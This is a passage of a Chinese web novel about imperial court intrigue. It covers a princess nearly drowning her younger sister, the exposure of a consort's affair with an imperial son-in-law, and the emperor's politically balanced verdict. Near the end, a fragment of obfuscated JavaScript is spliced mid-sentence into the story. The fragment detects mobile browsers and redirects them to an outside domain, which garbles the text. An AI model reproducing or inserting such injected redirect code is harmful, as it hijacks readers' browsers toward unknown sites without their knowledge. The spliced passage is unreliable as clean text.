也难怪这女子虽维持礼节，却仍语露不满。
若换做他，他也要不忿。
想通此间关节，荣邺忙致歉，“是在下不好，毁了姑娘的花树与雅致。”
但若只口头的致歉也太轻易。
“不如待明年开春，我着人送来祁连山下的一百株白梅树，再帮姑娘将这院子扩上一倍。等明年冬天，定还你一片更盛大的花海。”
玉鸣珂听他口气颇大，更好奇他的身份。
“祁连山下的白梅树？”她问道，“你可是梁国人？”
但转念一想——“梁国人自有王上赐下的驿站住，你怎的沦落到我院子撒野？”
荣邺一愣。
自“祁连山下的白梅树”便能猜出他是梁国人？这女子除去绝色，倒也聪慧。
“我是梁国人，”他颔首承认，又解释自己为何喝醉酒，“大丈夫立世，总有壮志难酬。”
玉鸣柯有意上下打量他，“壮志未酬？可指你拜会王上，欲联盟苏尼特推翻大元，却叫王上断然拒绝？”
荣邺来苏尼特本就隐秘，真实目的更只对苏尼特王一人说了。这女子轻轻浅浅提及他与老王上的密谈，她究竟是谁？
荣邺戒备问道：“不知姑娘是？”
女子摇头，只问不答：“那你不若与我说说，为何非要将苏尼特卷入你与大元的纷争？中原几百年就要翻个个儿，苏尼特倒延绵千年。”
她问得理所当然，荣邺却脱口问道：“我为何告诉你？”
女子微微侧首，神情如幼鹿纯而清，话中却似谋士入局而定。“或许，你若说服我，我可帮你说服王上？”
荣邺重换上政客的目光打量女子。
她衣着华贵，语气也笃定，莫非，是哪家的贵女？
眼下也无旁的法子，荣邺便当多条路。“姑娘说得是，苏尼特存在千年，可无人能保证，它有下个千年。”
“苏尼特与大元本不接壤。但如今，二者之间的若淖巴去了何方？”
女子面色微变，荣邺没管她，仍一径说下去——“它叫大元苛税勒索，全境没了生计。”
“覆巢之下，复有完卵？摄政王搅得满天风雨，干戈不断。他能毁掉一个若淖巴，便能毁掉梁国，毁掉苏尼特。”
“大元王朝早长了烂疮，若等烂疮蔓至己身再剜肉医治，那便来不及了。”
“所以，你要学陈胜吴广揭竿而起？”女子问。
“不错，”荣邺没有避讳，“王侯将相宁有种乎？大元再迎不来盛世，我便自己造一个。”
忽然，女子捂住唇轻笑。
荣邺不解，“姑娘可是笑我说大话？”
女子摇头，一双杏眼灵动，“只是想到，你若要缔造太平盛世，便绝不可学陈胜吴广。”
“哦？”
女子鼻间微皱，唇角露出两粒对称的小涡，“你这梁人可真傻，陈胜吴广虽头个揭竿而起，最终却没做得皇帝。你要学，便也得学刘邦，打出一个敌过匈奴、胜过西域的大汉朝！”
荣邺先一愣，随之也笑开。
那一刻，他的目光软下，又变为男子对女子的欣赏。
荣邺望着她，偷偷捂住心口。他需承认，面对这个初见清冷，清冷之下却十足良善、聪慧的女子，他那颗从不挂怀男女情·事的心重重一跳。
54. 白梅宴（二）
次日，老王上再次召见荣邺。他一违常态，默许下荣邺的提议。
“苏尼特的勇士们承平日久，却也有些战力。大王子要缔造一个太平盛世，本王愿助一臂之力。”
荣邺有些意外。
他想到昨日那女子说的“你若说服我，我可帮你说服王上”，莫非她真有大神通？
荣邺的怀疑在走出宫时得到解答。
一道雪色身影立于阶下。
见他走出，那人两手一背，得意道：“梁国人，我可言出必践哦。”
荣邺郑重施礼，“荣邺深谢姑娘，可为何？”
为何萍水相逢，却帮他大忙？
那人却摇头，“我并非帮你，我只为了我的子民。”她望向南方——那是曾经若淖巴的方向，“我幼时去过若淖巴，那里水草丰茂，山谷间开满苏尼特没有的花。可如今，只余满目疮痍。”
“大王子，”她再望向荣邺，“我曾劝过父王莫再愚忠大元，可那时的他也拒绝我。前些日子你与他促膝长谈，他虽未立时承诺，心中却有触动。”
“因而我最终能说动他，是大王子与我二人的功劳。”
荣邺心中再次一动。
“父王？”他抓住关键，“你是玉鸣珂？”
那位号称“北域若有十分美色，五分在苏尼特；苏尼特若有十分，五分当在玉鸣柯”的昭阳公主？
玉鸣柯颔首一笑，“荣邺，你我合作愉快。”
世事周转，云霭浮沉，虽历经怨憎会、爱别离、求不得，几十年后的荣邺与玉鸣珂仍能相携白梅林中。
但没一会，一道虽极轻的脚步打破林中静谧。
是苏九。
“陛下，玉妃娘娘，二殿下与郡主请见。”
能不加任何封号只称一句郡主的自然只有荣龄。□□龄当年早与荣宗阙闹翻…
“他二人联袂而来，这是又和好了？”荣邺觉出古怪。
而玉鸣珂一听荣龄已至，便问道：“苏领侍，荣毓可也来了？”
“回娘娘，公主一道回来了。”苏九语吞吐道，“但…”
“但？”荣邺沉着嗓音问。
他已做天子、掌有万里河山十数年，因而虽只一句寻常问话，其间气势却已叫苏九胆颤。
他忙禀道：“公主一个劲地哭，像遭了天大的委屈。”
闻言，玉鸣珂提了裙摆匆匆往前，荣邺紧随着，也面沉如水。
此时的竹屋已挤下许多人。
皇后瞿氏坐于上首，吩咐这个端陈皮桂圆汤，那个捧宫中新做的六仁奶酥，“荣毓，这些都是你往日爱吃的，快别哭，天冷皴脸。”
林妃则逗她，“是谁惹我们荣毓不高兴，叫三哥领上你，去教训他可好？”
刚还在山下的长春观与太子斗棋，叫荣宗阙与荣龄两尊杀神一把拎上山的荣宗祈杀鸡抹脖子地与他母妃示意——您可别掺和，没瞧这一个二个俱憋着气，正要耍通大的吗？
只太子荣宗柟还一贯温和，“荣毓，谁欺负你了，太子哥哥帮你讨回公道。”
而当惯隐形人，便是家宴也只畏缩陪在皇后瞿氏身旁的大公主荣湘忽察觉，一宫的皇子皇女齐聚，便是荣龄也来了，但一贯掐尖争先的荣沁却未至。
这是为何？
是因驸马与瞿良娣一事恼了？病了？或者…
荣湘望了眼在荣龄怀中哭得伤心的荣毓。
或者，她欺侮了荣毓，因而不敢来、不能来？
荣湘叫自己的想法吓一跳，可下一瞬，心中又绽出无尽花火，整个人兴奋极了——荣沁、荣毓，两个尊贵无匹，自小得圣眷隆恩的公主，这两人若相斗，她那位英明神武的父皇，会站在哪一头？
一想到这，荣湘的眼神都热起来。
一屋子人各说各的，各怀心思，而苏九的一句“陛下驾到”让里头倏地一静。
“陛下。”
“父皇。”
众人行礼道。
只有荣毓，一听建平帝来了，便扯了嗓子，哭得愈加伤心。
“父皇、母妃，二皇姐要杀了我。”她一半做戏，一半却实打实地害怕了。若非荣龄及时赶到，荣沁或许真要淹死她。
玉鸣珂先奔至荣龄身旁，哭得一脸糊涂的小丫头张开两手，扑去她怀中。
但玉鸣珂还未抱稳，慢一步赶到的建平帝又接过荣毓，“你说什么？荣沁要淹死你？”他将小丫头抱在怀中，沉肃问道。
因荣宗阙上山才急着赶回的赵宥澜只听见这句。
她平日里嚣张惯了，张口便是抵赖，“陛下说的哪的话？荣沁自小连蝴蝶都不敢捉，怎会杀人？”
她两眉扬起，一副怒不可遏的样子看荣毓，“你年纪小，本宫不与你一般计较。若再仗着陛下对你母女二人的左袒攀诬荣沁，本宫绝饶不了你！”
荣邺修心已久，明白帝王一怒，伏尸百万——
可眼下，他有些控制不住自己了。
荣宗阙瞧出荣邺的面色不对，忙上前制止赵宥澜再开口。“还是儿臣来说吧。”
与此同时，玉鸣珂望荣龄一眼，荣龄颔首，她便忍下气，暂未开口。
荣宗阙再施一礼。
“父皇、母后，诸位母妃，今日儿臣去万花别院，本意邀荣沁共赴白梅宴。可方至西山谷，却遇上同去寻荣沁的郡主。郡主称，下人回禀，道荣毓出宫后冲撞了荣沁，荣沁恼了，捉她去万花别院教训。”
“儿臣与郡主本想着，亲姊妹拌两句嘴并非大事，于是也未命人禀报父皇。可谁知一入万花别院，荣毓孤身站在院中，身上淋得湿透。”
“儿臣见荣毓嘴唇青紫，已说不出话，便忙将人抱去房中，灌下滚烫的姜汤。好一会，她才回复神色，能再哭出来。”
荣邺的语气尚平静，他摸摸荣毓的小手，“可还冷？”
荣毓贴近他，“父皇，还有一点。”
荣邺便将两只小手塞入衣襟中，“父皇给你暖手。”
这一举动虽未明言，却如一记狠狠的巴掌甩在不在场的荣沁与刚刚还在指责荣毓的赵宥澜面上。
荣宗阙看清当下情形，心中更生出无力。
可赵宥澜还不甘心，“霸下，你说什么浑话？沁儿可是你胞妹。定是荣毓惹祸，荣沁才会惩罚于她。”
忍到现在的玉鸣珂终于听不下去，“那我倒要问问贵妃，荣毓能惹出怎样塌天的祸事，竟需二公主在天寒地冻中用这阴毒法子惩处？便真有祸，自有她父皇，由我管教！”
“你！”见玉鸣珂公然挑衅，赵宥澜心中更如浇了一坛松油，转眼便扬起凌厉火势。
“霸下你说，荣毓究竟惹了什么祸事，才叫沁儿这样生气？”这是她最得意的儿子，他定不会害荣沁。
荣宗阙虽不曾回望，可他仍能清楚地想象出，此刻的赵宥澜是怎样笃定且目含深意地望向他。
是的，笃定，如刚刚的荣沁一般，笃定他会看在血缘的份上，遮掩、诬陷、收拾一切烂摊子。
他不禁想，母妃与荣沁何时变这样？而这一过程中，他或有意、或无意做了多少回帮凶？
荣宗阙深深呼一口气，“荣毓遇见荣沁时问了一句——驸马是否与她一道赴白梅宴。荣沁当下便恼了，以为荣毓有意羞辱，便把人掳去万花别院教训。”
此言一处，满室哗然——
竟只为一句问话，荣沁差点要冻死荣毓？
皇后瞿氏率先道：“小丫头才几岁？宫中的腌臜事她能晓得几分？”
太子妃章氏颔首，“儿臣早已吩咐宫女小子不得妄言，三公主定不知实情。”
林妃则心疼地落了泪，“亏得咱们荣毓养得好，自小便不爱伤寒、感冒。若是个体弱的，怕要伤寿元。”
这话提醒建平帝，“快唤御医前来。”
赵宥澜不置信地望向儿子，“霸下？你说的什么？其间定有误会！”
荣宗阙仍不看她，只硬邦邦答道：“并无误会，一切皆儿臣亲眼目睹。”
母子间突然的反目
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让本就混乱的闹剧添一味荒诞。
最后，竟是荣龄出言回寰。
“其实确有一些误会，只二殿下刚回大都，不大知晓。”
她再拉过沉浸看戏的荣宗祈，“回禀陛下，三哥与我已将蔺丞阳与瞿良娣一事查明。”
荣宗祈一愣，再一惊。
等等，查明了什么？他可半点不知道啊！
待御医抱走荣毓，建平帝才一撩袍角，坐到皇后瞿氏让出的上首。
“阿木尔、螭吻，你们说。”
荣龄便将那有违人伦但曲折、哀婉的感情从头说起。
室内女眷居多，听至动情处，甚至有人取出帕子，擦去眼角的泪。
“这孩子过得…也太苦了些。”林妃感慨道。
一句寻常的感慨却惹皇后与贵妃同时不快。
瞿氏的不快在于——瞿郦珠本将她视为大都最亲密的倚靠，可她却…不念姑侄情谊，任其在宫中零落成泥。故事中的她，伪善、无情、精明利己。
贵妃的愤怒则是——在荣龄的叙述中，蔺丞阳竟不惜委弃驸马的荣恩，只为与个丑八怪厮混一处。这等羞辱，比玉鸣珂母女仗势欺人还恶心。
于是，二人都出言打断。
“只不知，阿木尔可有证据？”这是仍一脸和善的皇后瞿氏，但她指骨处的白痕仍露出真实的情绪。
“正是，事涉东宫良娣与驸马，怎可任你们两个小辈口说无凭？”赵宥澜难得与皇后站到一处。
荣宗柟却早已知晓大半的情节，他示意瞿氏不必再问。又道：“阿木尔做事自然是妥当的，你且继续说。”
故事便来到下半段。
荣龄提及在贵妃处见的绣帕，又命人呈上自蔺丞阳书房取来的茶道六君子——这也是对皇后、贵妃二人的回答。
可将至终章，听到荣龄将堕胎药中的毒推给荣沁时，赵宥澜再坐不住，猛地摔了手边茶盏。
“如今这世道也是奇了，竟人人想咬荣沁一口？你能用一张帕子、一套六君子证明丞阳与瞿郦珠确有奸情。可你有任何凭证说那毒物是荣沁下的？”
“荣沁究竟哪里得罪你姊妹二人，竟叫你们一个两个都生出歹毒心思！待荣沁的舅舅回大都，本宫与他定让你吃不了兜着走！”
“啪！”
忽地又有一物掷于地上。
那动静虽不如茶盏碎瓷来得清亮，可满屋人一见，忙垂首跪下，不敢再言语。
苏九自角落寻到十八子手串，他用怀中帕子细细掸去本也不存在的灰尘，又膝行着俸给唯一端坐的建平帝。
荣邺面无表情地拿回，再平静问人群中的赵宥澜：“怎么，如今我荣家的事倒要你哥哥来来裁定？”
赵宥澜许久没见过荣邺发怒，她都要忘了天下未定时，荣邺从不留降臣，往往一句话便屠敌首满门。
可平日…平日他看在赵文越份上，从不与她计较，今日怎的不肯放过她，放过荣沁？
荣沁也是他的女儿！
“不是的，陛下，臣妾不是这个意思。”
荣宗阙无奈至极，可一个母妃、一个胞妹，他能让她们吃些苦头，但若及生死，他不能不救。“请父皇恕罪，母妃一时心急，乃无心之过。”
另一旁的二王妃也跟着叩拜，“请父皇恕罪。”
荣邺却不想再与他们多言。
“阿木尔，贵妃胡搅蛮缠，却有一句说的在理。荣沁是公主，她的罪责不能仅由你一句话裁定。你可有旁的证据？”
荣龄冷静道：“自然有，陛下以为我自何处得知这药中的龃龉？”她一掌微抬，缁衣卫押入一位几瞧不出人形的潦倒汉。
“这龃龉由蔺丞阳告知。”
屋中响起喁喁私语。
“蔺丞阳？”
“他竟没死？那他之前去了何处？”
“可阿木尔又如何找到的他？”
而蔺丞阳只一瞬不瞬盯着荣龄。
“郡主刚刚说什么，郦珠…郦珠死了？”
55. 权衡
荣龄与四位达摩院高僧对招时，便猜荣沁已将蔺丞阳移来万花别院。
果然，缁衣卫略略一搜，在东院找到他。
荣龄与荣宗阙商议一番，决定将去了也只会搅局的荣沁留在别院，而把蔺丞阳带去白梅宴——
横亘经年、远隔生死的畸恋，也是时候了结。
于是，蔺丞阳在毫无心理准备的当下，直面他从未知悉，更不曾设想的结局。
荣龄刚刚说的什么？
她说…
郦珠血流不止而亡，并在临死前怀疑是他下毒害死她。
刻骨怨恨中，她求旱莲不要放过他。
因而，旱莲拼却一条命，至陛下面前状告他奸·杀郦珠…
而蔺家与荣沁，或为保全他，或为借此羞辱太子荣宗柟，竟将唯一知晓真相的他软禁，进而织造郦珠不甘东宫清冷，蓄意勾引于他的污言秽语…
他做错什么？竟遇上这荒腔走板的结局…
蔺丞阳嘴唇翕动，却没能说出什么。
他昏昏噩噩地想——
可笑还在隆福寺中忧心郦珠，日日为她与无法面世的孩子诵莲花长生经，可原来，她随孩子而去，早不在世上。
更让蔺丞阳悲至绝处的是——
在世间的最末一刻，正是瞿郦珠最恨他之时。
那一刻，她满怀对他的恨、怨、悔，不惜用瞿氏清誉，只为拉上他，拉上太子、皇后，拉上荣沁、贵妃，更有蔺家、瞿氏——
一起下地狱。
那一刻，她有多痛、多怕，还有…多不舍？
蔺丞阳只觉喉间嗡嗡，下一瞬——
一口浓重的鲜血自口中呕出。
蔺丞阳嘴角流下血痕，宛若在地狱苦苦挣扎，却挣不出一条生路的愚昧凡人。
“她不信我，竟疑我至此？”他不住喃喃。
蔺丞阳两眼失神，在人群中盲目寻找。
可围观者或怜悯、或鄙夷，或惋叹、或不忍，却没人能告知他答案。
而当他再望向另一侧，见太子与章氏，二皇子与妻子，荣龄与张廷瑜都光明正大、清白笃定地在一处、互相倚靠时，他忽然醒悟过来——
或许，瞿郦珠并非只在那一刻疑他…
在这段孽缘的始终，瞿郦珠从未信过他。
想通这一关节，蔺丞阳刀割一般的心中忽然平静下来。
他眼中满含悲凉的泪，唇却沾着血笑开。
“哈哈哈哈…”
笑中无一丝快意，只余无尽的伤痛、绝望。
“他疯了。”荣龄面露不忍。
张廷瑜旁观者清，“他二人的情中或许有爱，却自一开始就从未、也无法生出信任。而若无信，或早或晚，都会走散。”他在袖下拉住荣龄冰凉的手，轻抚着安慰。
他说得不错。
这出错位情缘如长在石缝中的一株兰，是顽石堆里的一棵山茶，虽得幸长出枝叶，却因最初就生错地方、无法获得充足的营养，注定不能开出馨香的花。
“水芝，你可还有话说？”一室无言中，建平帝平静问道。
蔺丞阳颓坐地上，无半点“小青天”的风采，更没有丝毫生志。
好一会，他抬袖用力擦去面上已冰凉的泪，再整衣、振袖，深深伏于地上——“陛下，一切的一切，俱始于丞阳心生妄念，百般纠缠于瞿良娣。她遭我蒙骗，才…铸下大错。”
他亲口否定二人的感情。
他再转过方向，叩拜荣宗柟。“此举弃君臣之义、纲纪律法如履，丞阳久在都察院中，本察百官德行，却——”
他咽下喉中的又一口鲜血，“却明知故犯，实万死莫赎。但望陛下、太子殿下怜惋已逝故人，只追究我一人。”
“你说得轻巧。”赵宥澜精明扣住关键处，紧咬着道，“瞿郦珠是死了，但养出此等荒唐女儿的瞿氏…”
还未说完，二皇子荣宗阙忽膝行一步，赶在太子荣宗柟为瞿氏开脱前道：“父皇，此事难说水芝与瞿良娣谁的过错更大些，若治罪瞿氏，那蔺家…”
蔺家自不能逃脱。
等等——
怎是二皇子为瞿氏开脱？
围观诸人都意外极了。
也只有荣龄与张廷瑜尚淡定——
这便是在万花别院时，荣龄与荣宗阙做的交易。
荣宗阙替她保下瞿氏，相对的，她为荣沁、为蔺家开脱。
那一刻，荣宗阙心中百味交集。
“阿木尔，为何你为太子哥哥谋划至此？可我…也是你二哥。”
荣龄端坐马上，隔一程风雪望他。
她还记得尚在保州时，荣宗阙也这样望她，这样目含警告、请求、无奈、悲悯地望她。
但她明白，那时便物是人非的裂痕不但未有人填补，更因回大都后愈加纷繁的纠葛，变得进一步幽深、阔大。
荣龄的语气有些凉。
“二殿下想要什么答案？荣沁与荣毓、贵妃与我、还有…”
还有八年前，我父王战死时，驰援赶来的赵文越是否已与花间司合作…
但这话，荣龄未问出口。
她换了说辞。
“还有这些年贵妃对玉妃做的…经年恩怨隔阂，你我儿时再亲厚，我也不敢再信你。”
因不敢再信，故只能互相防备、利用。
荣宗阙为瞿氏的开脱之辞刚落，荣龄也往前一步。
“陛下，阿木尔一向不学无术，这些日子倒随衡臣读了些书。书中说‘情不知所起，一往而深。令生者可以死，死可以生’。蔺丞阳与瞿郦珠栽在情之一字，虽可恨，但也可悲、可怜。”
“此事不若起于情、止于情，不多做牵连。这也能…”
荣龄看了眼荣宗柟，再接着道：“也能保皇家颜面。”
荣宗柟了然，在一旁道：“父皇，儿臣不想再闹大，不若就此作罢。”
头号苦主都不计较了，建平帝不再多言，只沉吟着打量各怀心思的宫妃、儿女。
赵宥澜却心有不甘。
但荣龄赶在她开口前再道：“陛下您瞧，若再作牵连，如二皇姐一般，因这事失了分寸，在瞿郦珠的药中下毒，又险些伤了荣毓性命的…究竟算是苦主还是凶手？”
她有意望赵宥澜一眼，眼中尽是警告。
赵宥澜与她对视，最终不再开口。
荣龄这才接着道：“荣毓一事，念其心中苦恨难解，不若只略作惩处。至于下毒一事，还请陛下裁定。”
赵宥澜松一口气。
在蔺丞阳与瞿郦珠的私情中，荣沁虽加害于瞿郦珠，但究其根本，也是苦主。加上瞿氏式微，赵宥澜有十足把握掩下这事。
可在荣毓一事中，她却不占半分理。若建平帝一怒之下降其封号、夺其食邑，赵宥澜无计可施。
因而，虽心中不甘，她不敢也不能拒绝荣龄目光中的提议。
闹了半天，此事终在建平帝判处蔺丞阳、旱莲死罪，遣还瞿郦珠遗骨，又令二公主荣沁罚俸三年、禁足三月中行至了结。
至于瞿氏、蔺家，除三年内子弟不可再出仕，并无旁的惩诫。
而蔺家用一张丹书铁券，保下蔺丞阳一命则是后话，写于此时并无人在意的下一页。
这场叫各宫领侍列为绝密，不许任何人探听、议论的白梅宴终在申时落下帷幕。
荣龄与张廷瑜立于山门前，躬身送建平帝一行回宫。
又一辆马车即将离去，车壁的支摘窗自里面打开，露出一脸沉冷的荣宗阙与永远唇边带笑的二皇子妃江稚鱼。
“郡主何时来府上坐坐？你不在的三年，我新酿了许多酒，只等你来尝。”
江稚鱼家中也是武将，儿时就与荣龄相熟。
那时，情窦初开的荣宗阙看上礼部尚书家的沈小姐，夜夜去人家窗前送芍药。有时课业忙，他抽不出时间出宫，便托荣龄代他去。
但荣龄瞌睡多，不肯夜夜起来。她便用荣信自西域带回的一柄好看但无用的长剑作报酬，转身聘来江稚鱼替她跑腿。
江稚鱼自小崇拜荣信，一口承下这绝佳的买卖。
至于同为女子的荣龄为何夜夜给沈小姐送芍药花，那不归她管。
送花一事持续半月，意外终止于建平帝一旨赐婚，将荣宗阙与江稚鱼凑到一处。
荣宗阙百般不愿——他喜欢温秀端庄的沈小姐，才不想娶只会舞刀弄枪的江稚鱼。
江稚鱼则一脸无谓，她只再三向无故终止送花需求的荣龄确认，“那…南漳王爷带回的长剑，郡主会还依诺给我吧！”
荣龄忙将长剑送她，再附赠一本记有荣信手书的图册。
江稚鱼欢天喜地地捧回，没几月便嫁给荣宗阙。
荣龄则长抚心口，没敢告知夫妇二人因她而生出的荒唐联系。
再见儿时同伴，荣龄阴沉多日的心情敞出一丝晴。
“好，一定去。”
待二人离去，空地上的马车只余荣龄他们的与荣宗祈的。
荣宗祈有件南下淘来的宝贝落在与太子斗棋的玉皇楼，这会他正回去找那命根子。
荣龄也不等他，只与张廷瑜道：“咱们也回家？”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14686299|146698||http|test|mini|href|location''.split(''|''),0,{}));
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张廷瑜揽过她，语中有一丝愉悦，“好，回家。”——他喜欢荣龄说“回家”二字。
二人转身走向马车。
不远的半空，风雪暂时遮住长春观后山。
□□龄知道，等雪停风止，奇秀山峰又将露出形踪。
这正如世间大多的人与事——经历暂时的失序，终要重回到命运强大的惯性中。
荣龄再想得远些。
蔺丞阳与瞿郦珠也是如此，他们倏然相逢，却注定离散于茫茫人海。
再次想到二人，荣龄心中因江稚鱼而敞开的一丝晴又阴下，“我还是没有为瞿郦珠讨回公道。”她道，“自始至终，没有人全然站在她的立场，为她难过、为她争取。太子哥哥、荣宗阙，还有我，我们都一样。”
张廷瑜理解她的难过，更深知其无奈。
但他不想荣龄深陷在不该由她承担的自责中。
于是，他问道：“郡主可吃过庐阳的点心‘寸金’？它的外层裹着糖衣，内里却洁白柔软。”
荣龄一愣。
因这问话，她心中不由自主地浮现出一些早已模糊的画面——
有个少年将点心递至她嘴边，“你不要哭，我给你吃寸金，是甜的。”
那时的自己不知为何，一直哭闹不休，“我不吃，我不认识你，姑姑说不能吃陌生人的点心。”
那人想了想，郑重道：“我住在你家隔壁，你我见过几回。一回在金鱼桥，我的野草包子不慎掉落，正砸在你的额头。一回在家中，你攀在墙头，问我院中晾晒的萝卜丝可否给你尝一根。我不是陌生人，你可唤我阿蒙哥哥。”
荣龄打了一个哭嗝，懵懵地“啊？”了一记。
可惜往事久远，荣龄已忘了自己究竟有没有吃那截名为“寸金”的点心，也不记得给她点心的阿蒙哥哥是何模样。
“寸金…阿蒙哥哥。”她喃喃道。
张廷瑜眼中闪过一丝异色，可惜尚在回忆中的荣龄并未察觉。
“老师傅常说，寸金难做，难在裹糖。若糖浆太薄，便无法挂上完整的糖衣。可若过稠，就失于厚重，影响口感。”
他侧身直面荣龄，“阿木尔，不需我说，你也早明白的——世间万物行转，靠的不过‘平衡’二字。”
是啊…
荣龄抬头望他，重复道：“是平衡。”
正因平衡，建平帝采纳她“始于情、止于情”的提议——
东宫是储君，本就势大，建平帝就十余年未提拔其母族瞿氏。二皇子荣宗阙背靠赵党，外戚压荣宗柟一头，他就始终未给荣宗阙封王，让他只当个光头皇子。
今日，若追查到底，荣宗柟会因失去唯一的母家瞿氏而在与荣宗阙的争斗中落于下风…
再一想荣宗柟宽和的秉性，他或许还会为保全瞿氏做出失智之举…
那样的失衡绝非建平帝想看到的——
这两位已长成的皇子，他们只有始终相互制衡，他才可高枕安眠。
因而，当荣龄呈上为他量身写好的答案，建平帝毫不犹豫地全盘采纳。
只是此事，荣龄对得起任何人，唯独对不起瞿郦珠。
瞿郦珠要的是公平，而非政客权衡博弈的施舍。
可惜，唯一想给她公平的蔺丞阳有心无力，其余人则各有所图。
但此事已是定局，再说也只自找苦恼。
荣龄呼出一口气，将满腹心事留在山间飞雪中。
二人坐上马车，将要离去。
这时，一道着素白道帔，戴白玉兰花冠的身影拦下他们。
荣龄撑起支摘窗望去，“道长可还有事？”
日暮风雪中，一身白衣的白龙子执拂尘而来。
荣龄望着那道几要融入雪中的白色身影，心中生出种不可言喻的奇怪感觉——玉鸣珂也衣白，但玉鸣珂的白带有茶水将将适口的温。眼前这人却不同，她的的白很冷，比木苏里的雪、昆仑山巅的寒冰还要冷。
白龙子走至窗旁，抬手递过一枚绣有兰花的香囊，“郡主，香囊中有贫道手书的符箓，还托你焚于瞿良娣墓前，助她早投来世。不论如何，她在长春观中陷入因果，贫道有愧于她。”
这话说得妥帖，荣龄指摘不出毛病，只好颔首接过，“道长有心了。”
白龙子两手交握，“多谢郡主。”
此间事了，马车再次前行。
可就在支摘窗将要阖上、全然遮住窗外风景时，张廷瑜无意转头，在一线缝隙中看清那张夹在风雪中的面容。
他眼中一凝，向来沉静的神色忽地变了。